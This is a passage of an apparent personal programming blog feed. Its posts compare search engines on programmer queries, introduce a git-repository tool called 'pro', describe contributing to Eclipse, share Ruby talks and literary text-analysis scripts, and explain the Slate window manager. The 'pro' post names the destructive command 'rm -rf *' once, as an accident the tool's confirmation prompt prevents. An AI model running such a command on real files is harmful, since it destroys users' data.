&lt;p&gt;The tests were conducted using Google Chrome in Incognito mode while signed out
of any accounts I had with the site in question.&lt;/p&gt;

&lt;p&gt;I will be comparing the following search engines:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://google.com/&quot;&gt;Google&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bing.com/&quot;&gt;Bing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://duckduckgo.com/&quot;&gt;DuckDuckGo&lt;/a&gt;: This will be particularly interesting since DDG has a number of
features geared towards geeks and programmers.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://samuru.com/&quot;&gt;Samuru&lt;/a&gt;: A cool new search engine based on natural language processing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;1-slate&quot;&gt;1. Slate&lt;/h2&gt;

&lt;p&gt;Slate is a window management tool for OSX which I have &lt;a href=&quot;/howto/2012/11/19/using-slate/&quot;&gt;written about before&lt;/a&gt;. The correct first result should probably be Slate magazine but the geeky result I am looking for is the window manager. Since Slate is not as popular as my other search terms I threw this one in as a tough start to the comparison.&lt;/p&gt;

&lt;h3 id=&quot;results&quot;&gt;Results&lt;/h3&gt;
&lt;p&gt;Google actually got it as the second result! I was so stunned by this that I
thought Google was tracking me even with incognito. But I got one of my non-geeky
friends to Google it and he got it as a result as well.
&lt;img src=&quot;/assets/postassets/search/3-google.png&quot; alt=&quot;Google&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All the other search engines returned the magazine first and then the rock.&lt;/p&gt;

&lt;h3 id=&quot;winner&quot;&gt;Winner&lt;/h3&gt;
&lt;p&gt;Google by a long shot! I only tried this one because I thought none of them
would get it.&lt;/p&gt;

&lt;h2 id=&quot;2-chef&quot;&gt;2. Chef&lt;/h2&gt;

&lt;p&gt;If a programmer searches for “Chef” they are probably referring to the
automation platform by Opscode. What I am looking for is results that talk about
Chef, preferably from OpsCode.&lt;/p&gt;

&lt;h3 id=&quot;results-1&quot;&gt;Results&lt;/h3&gt;
&lt;p&gt;All search engines had OpsCode Chef on the first page but only some had it in
the top 3.
&lt;img src=&quot;/assets/postassets/search/1-google.png&quot; alt=&quot;Google&quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/1-bing.png&quot; alt=&quot;Bing  &quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/1-ddg.png&quot; alt=&quot;DDG   &quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/1-samuru.png&quot; alt=&quot;Samuru&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;winner-1&quot;&gt;Winner&lt;/h3&gt;
&lt;p&gt;Google was the only search engine that returned Chef in the top 3 results and it
put it as the first result.&lt;/p&gt;

&lt;h2 id=&quot;3-node&quot;&gt;3. Node&lt;/h2&gt;

&lt;p&gt;This is an interesting one since even as a programmer it is tough to figure out
if the correct result is a networking node or Node.js.&lt;/p&gt;

&lt;h3 id=&quot;results-2&quot;&gt;Results&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/assets/postassets/search/2-google.png&quot; alt=&quot;Google&quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/2-bing.png&quot; alt=&quot;Bing  &quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/2-ddg.png&quot; alt=&quot;DDG   &quot; /&gt;
&lt;img src=&quot;/assets/postassets/search/2-samuru.png&quot; alt=&quot;Samuru&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;winner-2&quot;&gt;Winner&lt;/h3&gt;
&lt;p&gt;Depends on your personal preferences. Google and Samuru put nodejs.org first and
Bing and DDG put networking nodes first. Bing is the only one that does not
mention both.&lt;/p&gt;

&lt;h2 id=&quot;4-underscore&quot;&gt;4. Underscore&lt;/h2&gt;

&lt;p&gt;Should refer to underscore.js. No screenshots for this one because I have
already made you scroll too much.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: 2/3 including top result are underscore.js
&lt;strong&gt;DuckDuckGo&lt;/strong&gt;: 1/3
&lt;strong&gt;Bing&lt;/strong&gt;: 0/3
&lt;strong&gt;Samuru&lt;/strong&gt;: Samuru gave underscore.js as third result on first search but
because of the way the engine works it gave 3 articles about the character 30s
later after it had done more processing.&lt;/p&gt;

&lt;h2 id=&quot;5-ruby&quot;&gt;5. Ruby&lt;/h2&gt;

&lt;p&gt;Interestingly, every search engine got the Ruby language as the top result
except for Bing, which gave the gem as the top result.&lt;/p&gt;

&lt;h2 id=&quot;overall-winner&quot;&gt;Overall Winner&lt;/h2&gt;

&lt;p&gt;Google is the only search engine that returned the results that a programmer
would be looking for every time. It seems the worst of the 4 search engines was
Bing, which got many things and even something as simple as Ruby wrong.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Too Many Projects, Not Enough pro</title>
   <link href="https://thume.ca/2013/05/01/too-many-projects-not-enough-pro/"/>
   <updated>2013-05-01T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/05/01/too-many-projects-not-enough-pro</id>
   <content type="html">
&lt;p&gt;I have too many projects, so I started a new project to solve my problems.
This project is a &lt;a href=&quot;http://github.com/trishume/pro&quot;&gt;little tool called pro&lt;/a&gt; which allows you to easily deal with all
your git repositories.&lt;/p&gt;

&lt;p&gt;It has a handful of very useful features, each of which solves a problem that I
have experienced. I imagine they will be useful to others as well. You can get
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro&lt;/code&gt; by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gem install pro&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Do note that a Unix system is required to use this, so it won’t work on Windows
without Cygwin.&lt;/p&gt;

&lt;h2 id=&quot;cding-to-a-projects-repository&quot;&gt;CD’ing to a project’s repository&lt;/h2&gt;

&lt;p&gt;Cd’ing to your projects is harder than it should be.
There are &lt;a href=&quot;https://github.com/rupa/z&quot;&gt;many tools&lt;/a&gt; that try and solve this
problem using frequency and recency.
Pro solves the problem by fuzzy searching only git repositories.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pd&lt;/code&gt; command allows you to instantly CD to any git repo by fuzzy matching
its name.
You can install the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pd&lt;/code&gt; tool (name configurable) by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro install&lt;/code&gt;.
Once you have it you can do some pretty intense cd’ing:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/pro/pd_screen.png&quot; alt=&quot;pd demo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;state-of-the-repos-address&quot;&gt;State of the Repos Address&lt;/h2&gt;

&lt;p&gt;Oftentimes I find myself wondering which git repositories of mine still have
uncommitted changes or unpushed commits. I could find them all and run git
status but it would be nice to get a quick overview. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro status&lt;/code&gt; does this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/pro/pro_status.png&quot; alt=&quot;pro status&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can also run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro status &amp;lt;repo&amp;gt;&lt;/code&gt; to show the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git status&lt;/code&gt; for a
certain repo.&lt;/p&gt;

&lt;h2 id=&quot;run-all-the-commands&quot;&gt;Run all the commands!&lt;/h2&gt;

&lt;p&gt;Wouldn’t it be cool if you could run a command on all your repos and see a
summary of the output? Now you can!&lt;/p&gt;

&lt;p&gt;You can do this with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro run &amp;lt;command&amp;gt;&lt;/code&gt;. If you don’t pass a command it will
prompt you for one.&lt;/p&gt;

&lt;p&gt;For example, searching all your repos for ruby files:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/pro/pro_run.png&quot; alt=&quot;pro run&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Notice that it double checks before running so you don’t accidentally run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm -rf *&lt;/code&gt; on all
your projects.&lt;/p&gt;

&lt;h2 id=&quot;the-pro-base&quot;&gt;The Pro Base&lt;/h2&gt;

&lt;p&gt;Pro can use a base directory to speed up its search for git repos. By default it
uses your home folder.&lt;/p&gt;

&lt;p&gt;To set the base directory either create a file at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.proBase&lt;/code&gt; containing the
base path or set the environment variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PRO_BASE&lt;/code&gt; to the path.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pro&lt;/code&gt; is a handy tool that makes working with lots of git repos much easier. If
you want to get it run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gem install pro&lt;/code&gt;. You can also &lt;a href=&quot;http://github.com/trishume/pro&quot;&gt;check it out on Github&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>The Best Programming Game</title>
   <link href="https://thume.ca/2013/04/10/the-best-programming-videogame/"/>
   <updated>2013-04-10T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/04/10/the-best-programming-videogame</id>
   <content type="html">
&lt;p&gt;Ever since I was in grade 4 I have been playing the world’s best programming
game. The game is highly rewarding, an excellent way to learn programming
and it’s even free!&lt;/p&gt;

&lt;p&gt;This game has many advantages over other programming video games:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Like Minecraft, it is open-ended and allows players to set their own
goals.&lt;/li&gt;
  &lt;li&gt;It allows players to use any library and programming language they want to.&lt;/li&gt;
  &lt;li&gt;The game can lead to real world rewards and recognition. It has MLG
players and top gamers can earn hundreds of thousands of dollars per year.&lt;/li&gt;
  &lt;li&gt;It can run on any computer regardless of how recently it was made or what OS
it runs.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;It even has multiplayer support!&lt;/strong&gt; You can play with friends and even post your
solutions to the puzzles online.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Have you guessed what game it is yet? Does it sound interesting?&lt;/p&gt;

&lt;p&gt;The game is called “Just Friggin Program” and it works like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Think of a program you would like to write.&lt;/li&gt;
  &lt;li&gt;Use the internet to learn things.&lt;/li&gt;
  &lt;li&gt;Write the program!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;You beat the level!&lt;/strong&gt; Repeat for the next level.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I am now 17 and I have gotten a lot of fun out of playing this game for the last
8 years. I have learned everything I know about programming through playing and I’m sure many other programmers have too.
The best part is I have ended up with a &lt;a href=&quot;http://github.com/trishume&quot;&gt;portfolio of cool projects&lt;/a&gt; while players
of other games just have their “levels completed” screen to show for it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Instead of introducing children to brand new 3D “learn-to-program” games I suggest
the oldest game of them all as the best way to teach kids to programming.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Contributing to Eclipse</title>
   <link href="https://thume.ca/2013/03/29/contributing-to-eclipse/"/>
   <updated>2013-03-29T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/03/29/contributing-to-eclipse</id>
   <content type="html">
&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;When most programmers think of Eclipse they think of the Java IDE but Eclipse is
actually a huge group of projects with very little relation to each other except
that they are all managed by The Eclipse Foundation.&lt;/p&gt;

&lt;p&gt;I had the privilege of working for &lt;a href=&quot;http://eclipse.org/org/foundation&quot;&gt;The Eclipse
Foundation&lt;/a&gt; this past semester at school as a
High School
co-op job. The Foundation does not actually employ developers but since I was
working for free I was able to actually work on the code base with expert
guidance from my supervisor Wayne Beaton at the Foundation.&lt;/p&gt;

&lt;p&gt;This was an interesting experience. I worked on fixing bugs in various Eclipse
projects including one that had been around for 11 years and likely affected
thousands of developers. In this article I hope to share some of the knowledge I
gathered about contributing to Eclipse projects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; To clarify, I am not ranting about how bad my job was. I thoroughly
enjoyed my time at The Eclipse Foundation. I also enjoy using Eclipse as an IDE.
Yes it is slow and RAM-intensive but it’s amazing auto complete and content
assist make it invaluable for Java programming. I use VIM for every other language.&lt;/p&gt;

&lt;h2 id=&quot;one-does-not-simply-compile-eclipse&quot;&gt;One Does Not Simply Compile Eclipse&lt;/h2&gt;

&lt;p&gt;For my first week my supervisor had the idea of using me to figure out how difficult
it is to be a new contributor to Eclipse. I was given a bug to fix and no other
instruction.&lt;/p&gt;

&lt;p&gt;I started off with the assumption that I would have to compile Eclipse. Which
seemed reasonable enough given my experience with other open source projects.&lt;/p&gt;

&lt;p&gt;Unfortunately, I was &lt;strong&gt;dead wrong&lt;/strong&gt;. I spent many hours reading through outdated
wiki pages and filling up my hard drive with build files until my supervisor
eventually told me what I had only seen briefly mentioned in a paragraph full of
adjectives: &lt;strong&gt;you do not need to compile Eclipse to develop it&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-one-true-path&quot;&gt;The One True Path&lt;/h2&gt;

&lt;p&gt;Eclipse is actually developed within Eclipse using a plugin called the Plugin
Development Toolkit (PDT). This sounds like it is only useful for developing
plugins, and it is.&lt;/p&gt;

&lt;p&gt;The thing is Eclipse is actually almost entirely made up of Eclipse plugins.
This is an excellent architecture once you start developing for it but it is not
necessarily easy for new contributors.&lt;/p&gt;

&lt;h2 id=&quot;working-on-an-eclipse-project&quot;&gt;Working on an Eclipse Project&lt;/h2&gt;

&lt;p&gt;Before following this procedure make sure you have the PDT plugin and the EGit
plugin installed.&lt;/p&gt;

&lt;p&gt;This procedure only applies to plugins that are plugins to the Eclipse IDE.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Clone the right repository in EGit.
    &lt;ul&gt;
      &lt;li&gt;You can find all the repositories at &lt;a href=&quot;http://git.eclipse.org/c/&quot;&gt;http://git.eclipse.org/c/&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;You only need the repository you will be working on directly, it will use
 the binary plugins in your Eclipse installation for dependencies.&lt;/li&gt;
      &lt;li&gt;Make sure to select the import projects box in the clone dialog.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Create a new ‘Eclipse Application’ run configuration.&lt;/li&gt;
  &lt;li&gt;Make changes to the code and run or debug your configuration.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This will launch another copy of Eclipse with the changes that you have made.
You can even set breakpoints and run it in the debugger.&lt;/p&gt;

&lt;h2 id=&quot;bugzilla&quot;&gt;Bugzilla&lt;/h2&gt;

&lt;p&gt;All Eclipse bugs are tracked on &lt;a href=&quot;http://bugs.eclipse.org/&quot;&gt;http://bugs.eclipse.org/&lt;/a&gt;. They use the loose
definition of the term ‘bug’ that includes feature requests and things that
should be made better.&lt;/p&gt;

&lt;p&gt;Any code contribution you make as a non-commiter (which you probably are if you
are reading this article) must be made through Bugzilla. If you write a new feature
and want to contribute it you should create a new bug saying the feature should
be added and immediately submit a patch file.&lt;/p&gt;

&lt;p&gt;You can either submit a patch by attaching a patch file to the bug or on some
projects by submitting a pull request with the bug id in the title to the Github
mirror of the project. Keep in mind that not all projects have active committers
on Github to see your pull request so you may want to link to it from the bug.&lt;/p&gt;

&lt;h3 id=&quot;next-steps&quot;&gt;Next Steps&lt;/h3&gt;

&lt;p&gt;With any luck a committer will see your patch and write a comment about it.
This could take anywhere from a day to many months depending on how active the
project is.&lt;/p&gt;

&lt;p&gt;On some of my patches I got a helpful response within hours, on others I only
got a reply weeks later and some of my patches are still sitting there to this
day…&lt;/p&gt;

&lt;p&gt;The committer may recommend some changes to your patch to fix bugs or make it better.
Once your patch is good enough the developer will commit it. They may ask you
some questions about originality or have you fill out a form as part of the
intellectual property process. I think my supervisor said they should have had me fill out a form but they never did.&lt;/p&gt;

&lt;p&gt;Congratulations! You may now enjoy the warm fuzzy feeling that comes from
contributing to an Eclipse project!&lt;/p&gt;

&lt;h2 id=&quot;my-own-journey&quot;&gt;My Own Journey&lt;/h2&gt;

&lt;p&gt;I submitted patches for many bugs during my time at The Foundation.
I fixed many small bugs like having the Javadoc for a function show up in the
Javadoc view when you select it with autoComplete.&lt;/p&gt;

&lt;p&gt;Some of my larger achievements:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Helping fix bugs related to Retina displays so that Eclipse displays crisply
on new Retina MacBook Pros.&lt;/li&gt;
  &lt;li&gt;Updating the Eclipse Ruby DLTK project to support debugging ruby 1.9+ using
the ‘debugger’ gem instead of the outdated ‘ruby-debug’ gem on 1.8.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My biggest achievement was fixing an 11 year old bug that affects any Eclipse
user who has ever had to forcefully stop Eclipse and then lost their place in
what they were working on. &lt;a href=&quot;https://bugs.eclipse.org/bugs/show_bug.cgi?id=2369&quot;&gt;Bug 2369&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Eclipse is very good at auto-saving state when it is shut down properly but many
users like myself keep Eclipse open constantly and only ever start it up again
when it crashes or our computer crashes.&lt;/p&gt;

&lt;p&gt;The reason nobody experienced had taken it on was probably because it was very
difficult. I toiled for weeks chasing through layer upon layer of abstraction trying to
untie the workbench save code from the shutdown code.&lt;/p&gt;

&lt;p&gt;I eventually settled upon copying the entire workbench model and then cleaning
up the parts that were not supposed to be persisted in the copy. I gradually
found what parts had to be removed from the model by chasing the causes of
various duplicate menu items and toolbars.&lt;/p&gt;

&lt;p&gt;I managed to fix the bug just one week before my coop term ended. And I got to
feel that warm fuzzy open source contribution feeling knowing that I made a
difference people would notice. And they did:&lt;/p&gt;

&lt;div&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p&gt;@&lt;a href=&quot;https://twitter.com/mmmandel&quot;&gt;mmmandel&lt;/a&gt; wow, a 4 digit bug number. You can almost see the evolution of the platform UI team by reading through the comments.&lt;/p&gt;&amp;mdash; Ian Bull (@irbull) &lt;a href=&quot;https://twitter.com/irbull/status/312241966857482240&quot;&gt;March 14, 2013&lt;/a&gt;&lt;/blockquote&gt;
&lt;script src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;/div&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Ottawa Ruby Lightning Talks</title>
   <link href="https://thume.ca/2013/02/06/ottawa-ruby-lightning-talks/"/>
   <updated>2013-02-06T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/02/06/ottawa-ruby-lightning-talks</id>
   <content type="html">
&lt;p&gt;I have attended the Ottawa Group of Ruby Enthusiasts (&lt;a href=&quot;http://ottawaruby.ca/&quot;&gt;http://ottawaruby.ca/&lt;/a&gt;) for
about a year now. It has been a great place to meet other Ruby developers and
learn interesting things.&lt;/p&gt;

&lt;p&gt;The group normally has a main speaker who gives a long talk and one or two 10 minute
lightning talks punctuated by breaks to eat pizza and talk. The main talk is
normally over Skype and the lightning talks are done by volunteers from the group.&lt;/p&gt;

&lt;p&gt;I have given two lightning talks on topics which I believed I might know more
than other members. Both talks went well and I’ve decided to post the slides.
Be aware that I did do a significant amount of talking so you can’t get the
whole message from just the slides, but they are better than nothing.&lt;/p&gt;

&lt;h2 id=&quot;edit-the-ruby-standard-library&quot;&gt;Edit: The Ruby Standard Library&lt;/h2&gt;

&lt;p&gt;I recently did a full length talk on the Ruby standard library.
You can find the slides at &lt;a href=&quot;http://thume.ca/rubytour&quot;&gt;http://thume.ca/rubytour&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;ruby--programming-contests&quot;&gt;Ruby + Programming Contests&lt;/h2&gt;

&lt;p&gt;The first talk I did was on writing programming contests in Ruby. I write lots
of programming contests and have tried using a couple different languages for
them but keep coming back to Ruby.&lt;/p&gt;

&lt;script async=&quot;1&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;e41bf2e052d60130a4381231380e9e6b&quot; data-ratio=&quot;1.33333333333333&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;
&lt;/script&gt;

&lt;h2 id=&quot;ruby--shell-scripts&quot;&gt;Ruby &amp;gt; Shell Scripts&lt;/h2&gt;

&lt;p&gt;My most recent talk which I gave last meeting was on using Ruby as a scripting
language to automate repetetive tasks.&lt;/p&gt;

&lt;script async=&quot;1&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;926bb4f052d60130870722000a1c41cd&quot; data-ratio=&quot;1.33333333333333&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;
&lt;/script&gt;

&lt;h2 id=&quot;developing-a-gem-in-20-minutes&quot;&gt;Developing a Gem in 20 Minutes&lt;/h2&gt;

&lt;p&gt;I live coded a simple Ruby gem using Bundler in 20 minutes and explained
some tricks and how easy it was to write Ruby Gems.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://gist.github.com/trishume/5d1ea89862e031a48434&quot;&gt;Here’s a Transcript&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;improv-lighting-talk&quot;&gt;Improv lighting Talk&lt;/h2&gt;

&lt;p&gt;I recently gave an improvised lightning talk prompted by the lack of other
lighting talks called “How to do a lightning talk.” I talked about choosing a
topic that you feel you have unique knowledge of to give you more confidence and
how all that was really important was the confidence to go up there. Everything
else would work itself out.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Hacking English Class</title>
   <link href="https://thume.ca/2013/01/24/hacking-english-class/"/>
   <updated>2013-01-24T00:00:00+00:00</updated>
   <id>https://thume.ca/2013/01/24/hacking-english-class</id>
   <content type="html">
&lt;p&gt;I was sitting in English class last year and thinking about how English was
about as far away from programming as you can get. We were discussing the
significance of characters in the novel &lt;em&gt;Lord of the Flies&lt;/em&gt; and I thought “I
wonder if I could write a program to analyze this book, that would be ironic.”&lt;/p&gt;

&lt;p&gt;So that evening I wrote a Ruby script that analyzed the occurences of characters
names in &lt;em&gt;Lord of the Flies&lt;/em&gt; and graphed it over time. It was a fun graph,
especially the most noticable feature being references to “Piggy” suddenly dropping.&lt;/p&gt;

&lt;p&gt;I went on to write another script to analyze &lt;em&gt;Lord of the Flies&lt;/em&gt; as well as
other scripts during English class this year. Here are some of the ones I have
come up with, starting with the most recent.&lt;/p&gt;

&lt;p&gt;Most recently I wrote a program that reads entire stories and generates passages that
capture the texture of the story using Markov Trees.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hackEnglish/markov-poster.png&quot; alt=&quot;Markov Stories&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In grade 11 my project was analyzing the most common colours in &lt;em&gt;The Great Gatsby&lt;/em&gt;.
My teacher thought that yellow would be the most common but it turns out to be
white.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hackEnglish/Colours-of-Gatsby.png&quot; alt=&quot;Gatsby Colours&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My other work this year was highlighting important words in the poem &lt;em&gt;Beowulf&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/hackEnglish/Beowulf.png&quot;&gt;&lt;img src=&quot;/assets/postassets/hackEnglish/Beowulf.png&quot; alt=&quot;Charged Words in Beowulf&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As well as my two &lt;em&gt;Lord of the Flies&lt;/em&gt; graphs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/hackEnglish/lotf-1.png&quot; alt=&quot;Lotf timeline&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The second one shows words that appear close together, the saturation indicates
how often they occur close together.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/hackEnglish/lotf-2.png&quot;&gt;&lt;img src=&quot;/assets/postassets/hackEnglish/lotf-2.png&quot; alt=&quot;Lotf co-occurence&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Using Slate: A Hacker's Window Manager for Macs</title>
   <link href="https://thume.ca/howto/2012/11/19/using-slate/"/>
   <updated>2012-11-19T00:00:00+00:00</updated>
   <id>https://thume.ca/howto/2012/11/19/using-slate</id>
   <content type="html">
&lt;p&gt;&lt;strong&gt;Edit: I’ve recently switched to using &lt;a href=&quot;http://mjolnir.io&quot;&gt;Mjolnir&lt;/a&gt; and have posted &lt;a href=&quot;/howto/2014/12/02/using-mjolnir-an-extensible-osx-window-manager/&quot;&gt;a new tutorial&lt;/a&gt; on that.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Switching windows with the keyboard on Mac OSX is hilariously inefficient: it
involves repeatedly pressing command+tab through millions of programs until you
get to the right one when you could have just clicked the window and been done
with it. Moving windows is no better so people have resorted to paying for tools
like SizeUp and Divvy. I used to have these problems too until I &lt;s&gt;switched to
Linux&lt;/s&gt; discovered a program called Slate.&lt;/p&gt;

&lt;p&gt;Fancy window management is no longer just for Linux users and their XMonad.&lt;/p&gt;

&lt;h2 id=&quot;enter-slate&quot;&gt;Enter Slate&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/jigish/slate&quot;&gt;Slate&lt;/a&gt; is a keyboard-driven window management
program for Mac OSX. It is highly configurable and has tons of features. It has
permanently changed the way I use my Mac. Not only is it better than other
popular programs like Divvy, SizeUp and Moom, it beats their prices at being
&lt;strong&gt;free&lt;/strong&gt;. Slate is the VIM/Emacs of window managers: it is less of a window
manager than a workflow changing tool you will never give up.&lt;/p&gt;

&lt;p&gt;Slate has so much functionality that I think of it more as a shortcut-based
productivity tool than a window manager. Here is a sample of what it can do:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Move/Resize/Shift windows:&lt;/strong&gt; this can be done based on different screen size
fractions and even mathematical formulae. There are commands for practically
every window operation you can think of. It also supports the Divvy style
sizing grid.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Switch Windows:&lt;/strong&gt; Slate can act as a complete replacement for command+tab in
many ways. I will talk about this more in the “Window Switching” section.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Manage multiple monitors:&lt;/strong&gt; Slate can move windows between monitors as well as
detecting your monitor configuration and automatically moving windows around
when you plug in an external monitor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Save window layouts:&lt;/strong&gt; Slate has a feature called “snapshots” that allows you to
save your current window layout and restore it at any time. This is handy for
having different layouts for different projects/tasks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this article I will describe the kind of things you can do with Slate and how
to configure it to do these things.&lt;/p&gt;

&lt;h2 id=&quot;switching-windows&quot;&gt;Switching Windows&lt;/h2&gt;

&lt;p&gt;Slate allows me to switch to any window I want in one shortcut and a single key
press. I can do this using a feature called “Window Hints”. If you have ever
used easyMotion for Vim or Vimperator/Vimium you will be familiar with this
concept.&lt;/p&gt;

&lt;p&gt;When you press a shortcut (I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+e&lt;/code&gt;), every window is instantly overlain with
a letter, starting with those on the home row of your keyboard. By pressing the
letter over a window your focus is transfered to that window. For windows that
are hidden behind others the application icon is displayed in the overlay.&lt;/p&gt;

&lt;h3 id=&quot;as-usual-a-picture-is-worth-a-thousand-words&quot;&gt;As usual, a picture is worth a thousand words:&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/assets/postassets/slate/windowhints.jpg&quot;&gt;&lt;img src=&quot;/assets/postassets/slate/windowhints.jpg&quot; alt=&quot;Window Hints&quot; /&gt;&lt;/a&gt;
Notes: There is an option to overlay the icons with a dark background so that it
is easier to read the letters. Also note the fancy Slate managed window layout.&lt;/p&gt;

&lt;h3 id=&quot;switching-windows-even-faster&quot;&gt;Switching Windows Even Faster&lt;/h3&gt;

&lt;p&gt;Even though window hints are super fast there are some applications I switch to
and from so often that I wanted to be able to do it in one shortcut. Luckily,
Slate had my back. Using Slate’s focus command I was able to give my most commonly used programs
their own switching shortcuts.&lt;/p&gt;

&lt;p&gt;Inspired by &lt;a href=&quot;http://stevelosh.com/blog/2012/10/a-modern-space-cadet/&quot;&gt;this article&lt;/a&gt;, I use a
program called “PCKeyboard Hack” (ironically mac only) to bind my caps lock key
to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command+option+shift+control&lt;/code&gt; which I call “hyper”.  I use this binding to
manage all my custom shortcuts. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper+e&lt;/code&gt; focuses on my browser,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper+u&lt;/code&gt; focuses on my editor, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper+i&lt;/code&gt; focuses on iTerm, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hyper+m&lt;/code&gt; focuses Mail,
etc…&lt;/p&gt;

&lt;h2 id=&quot;moving-windows&quot;&gt;Moving Windows&lt;/h2&gt;

&lt;p&gt;Slate has numerous commands for moving and resizing windows. I personally only
use a small portion of them. The most common ones are the classic “resize to
left half”, “resize to right half” and “fill the screen”; however, I also have
ones like “move this to my other monitor” and “layout my applications across
both monitors just the way I like them”. All of these are bound to keyboard
shortcuts.&lt;/p&gt;

&lt;p&gt;I started off with Slate by rebinding my numpad to window movement commands.
